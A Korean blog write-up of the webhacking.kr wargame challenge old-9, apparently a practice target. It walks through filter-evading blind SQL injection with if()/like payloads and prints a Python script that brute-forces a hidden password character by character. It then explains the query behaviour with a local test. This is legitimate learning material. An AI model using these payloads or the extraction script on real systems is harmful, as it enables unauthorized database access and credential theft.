[webhacking.kr] old-9 Write-Up

두비니

·

2022. 8. 31. 18:27

 

 

webhacking.kr old-9

Write-Up

 

 

01. 문제분석

 

 

index 페이지다. no에 값에 대한 페이지들을 좀 봐야할 것 같다.

 

각각 no=1, 2, 3 페이지이다.

 

 

각각 큰 내용은 없다. 다만 no=3 페이지의 경우, column은 id, no로 2개이고, no3의 id가 password라고 한다.

이걸 기반으로 보았을 때, 본 문제의 테이블은 다음과 같이 예상된다.

 

no id
1 Apple
2 Banana
3 [password]
.. ..

 

즉, 어딘가에서 SQL Injection 취약점이 발생할 것 같다는 생각을 했다.

 

 

기존의 no=1과 no=2에 있는 페이지의 input 값들은 그대로 index.php의 pw로 넘기기 때문에 큰 의미가 없다고 생각했다.

더불어 index.php에서 값을 입력하면 틀린 값에 대해서 아무것도 하지 않기 때문.

 

 

02. Solution

 

그래서 우선 남은 유일한 파라미터인 $no 파라미터를 시험해보았다.

 

무지성 공격에는 Access Denied가 뜨지만, 어떤 값들에는 그냥 정상적인 값들이 뜨는 걸로 봐서 알아서 필터링을 알아내서 SQL Injection을 진행하면 될 것 같다.

 

간단하게 테스트 한 바로는 쿼리에 대해 결과가 1, 2, 3인 경우만 확인이 가능하다. (해당 페이지가 확인이 되므로)

그 외의 경우에는 아무 내용이 보이지 않기 때문에, 필터링을 잘 피해서 Blind SQL Injection을 할 수 있을 것 같다.

 

간단한 것부터 시작해보자.

if(1,3,2)

 

위는 삼항연산자와 동일하다. 첫 번째 값(1)이 참이면 두 번째 값(3)이 리턴되고, 거짓일 경우 세 번째 값(2)이 리턴된다.

따라서 위 값을 no에 넣을 경우 secret 페이지가 보인다. 이를 기반으로 필요한 값들을 찾아보자.

 

 

 

전반적인 계획은 다음과 같다.

if(확인하고 싶은 쿼리, 3, 0)
- 만약 Apple이 response에 있는 경우 참
- 만약 아무것도 없는 경우 거짓
- 만약 Access Denied가 뜨는 경우 필터링에 걸린 것

 

정말 아무것도 모르는 상황이라면, table 이름, column 이름 등등 모든 걸 알아내야 한다.

그러나 우리는 column 이름을 알고 있으며, 세 번째 id값을 알아내고 싶다는 것 까지 알고 있다.

그래서 쿼리를 다음과 같이 작성하면 될 것 같다.

 

// 길이 구하기
if(length(id)like([num]),3,0)
// 내용 구하기
if(substring(id,[num],1)like([ascii]),3,0)

 

+) 참고로, 꼭 if([query], 3, 0)으로 진행되어야 한다. 그 이유는 밑에 추가로 작성하도록 하겠다.

 

그래서 길이 및 내용을 구하는 코드를 작성했다.

 

import requests

url = 'https://webhacking.kr/challenge/web-09/'
cookie = {
	"PHPSESSID": "YOUR_PHPSESSID",
}

def find_pw_len():
	global url
	payload = "if(length(id)like({}),3,0)"
	for i in range(0, 100):
		r = requests.get(url + '?no=' + payload.format(str(i)), cookies=cookie)
		if "Secret" in r.text:
			print(f"[!] Found pw length: {i}")
			res = i
			break
	return res

def find_pw(pw_len):
	global url
	res = ""
	payload = "if(substr(id,{},1)like({}),3,0)"
	for i in range(1, pw_len+1):
		for j in range(0x30, 0x7d):
			r = requests.get(url + '?no=' + payload.format(i, hex(j)), cookies=cookie)
			if "Secret" in r.text:
				print(f"[*] pw {i} : {chr(j)}")
				res += chr(j)
				break
	print(f"[*] Final password : {res}")

if __name__ == "__main__":
	pw_len = find_pw_len()
	find_pw(pw_len)

 

 

그러면 비밀번호를 구할 수 있게 되고, 이를 페이지에 입력하면 문제를 풀 수 있다.

+) 나는 비밀번호의 범위를 모르겠어서 숫자+대소문자+특수문자 몇가지까지 포함해서 스크립트를 작성했다. 그러나 SQL에서는 따로 설정을 하지 않는 경우 대소문자를 구분하지 않기 때문에 대문자 형태의 비밀번호가 나온 것 같다. 그래서 소문자로 바꿔서 제출했다.

 

 

 

3. 참고 - if(query, 3, 0)으로 해야하는 이유

 

내가 사용한 페이로드 틀은 다음과 같다.

 

// 길이 구하기
if(length(id)like([num]),3,0)
// 내용 구하기
if(substring(id,[num],1)like([ascii]),3,0)

 

그러나 저 마지막 두 숫자 조합을 다르게 하면 비밀번호를 구할 수가 없게 된다. 왜 그런지 알아보기 위해서 직접 SQL DB를 만들어 테스트해보았다.

 

 

대충 이렇게 작성해보았다. 

그리고 문제의 구조를 다시 생각해보면, GET METHOD로 no를 받아오고, 그에 대한 값을 처리해서 페이지들을 보여주고 있다. 따라서 내부적으로 다음과 비슷한 SQL 쿼리로 처리를 하지 않을까 예상을 하였다.

 

SELECT id FROM `chall_old-9` WHERE no=$_GET['no']

 

이렇게 하고, 만약 id가 세번째 값일 경우 다른 페이지를 렌더링하도록 하는게 아닐까 예상하였다.

아무튼 이런 상황에서 우리는 WHERE no= 뒤에 원하는 쿼리를 삽입하게 된다.

여기에 사용했던 페이로드를 넣어보도록 하겠다.

 

SELECT id FROM `chall_old-9` WHERE no=if(length(id)like(11),3,0)

 

 

여기까지는 예상대로 우리가 원하는 패스워드 값이 출력된다.

원래는 이 결과가 다음 과정을 통해 수행된다고 이해했었다.

  • length(id)like(11)을 수행함 => 이 값을 만족하는 값이 있음 (alsrkswhaql), TRUE
  • 조건문이 TRUE이므로 3이 리턴
  • `SELECT id FROM `chall_old-9` WHERE no=3`이 수행

(실제로는 이것과 다르지만, 뒤에서 설명하도록 하겠다)

 

 

그러나 다음과 같이 바꿔서 쿼리를 실행해보면 다음과 같은 결과가 나온다.

SELECT id FROM `chall_old-9` WHERE no=if(length(id)like(11),3,1)

 

 

이상하게도, 세 번째 값만 출력되는 것이 아니라, 첫 번째 값이 Apple도 같이 출력된다.

어느정도 찾아보고 알아낸 결과는 다음과 같다.

 

  • length(id)like(11)을 수행함 => 이 값을 만족하는 값이 있음 (alsrkswhaql)
  • length(id)like(11)의 리턴값이 no=3도 만족하는지 확인한다. 이때 두 조건 모두 만족하므로 'alsrkswhaql'를 리턴한다.
  • length(id)like(11)의 리턴값이 아닌 경우면서 no=1을 만족하는 경우가 있는지 확인한다. 이때 첫 번째 조건을 만족하지 않으면서 no=1인 값은 'Apple'이 있기 때문에 'Apple' 또한 리턴된다.

 

따라서 정리를 하자면, no=if([조건문], [CASE A], [CASE B]) 라는 상황에서는

  • [조건문]이 TRUE이면서 no=[CASE A] 를 만족하는 경우
  • [조건문]이 FALSE이면서 no=[CASE B] 를 만족하는 경우

두 경우를 모두 리턴한다는 것이다.

 

따라서 if(length(id)like(11),3,2) 같은 쿼리를 넣어도 Banana와 alsrkswhaql이 리턴되는 것을 볼 수 있다.

실제로 문제 사이트에도 이 쿼리들을 집어넣으면 secret 페이지가 아닌 각각 no=1, no=2페이지가 보이는 것을 확인할 수 있다.

 

이는 리턴은 2개가 되었는데, result[0]같은 형식으로 여러개일 때 첫 번째 값만 가져오도록 페이지가 구성되어있을 것 같다.

 

좋은 문제였다! 끝!

'War Games > webhacking.kr' 카테고리의 다른 글

[webhacking.kr] old-11 Write-Up  (0) 2022.09.02
[webhacking.kr] old-10 Write-Up  (0) 2022.09.01
[webhacking.kr] old-8 Write-Up  (0) 2022.08.31
[webhacking.kr] old-7 Write-Up  (0) 2022.08.30
[webhacking.kr] old-6 Write-Up  (0) 2022.08.30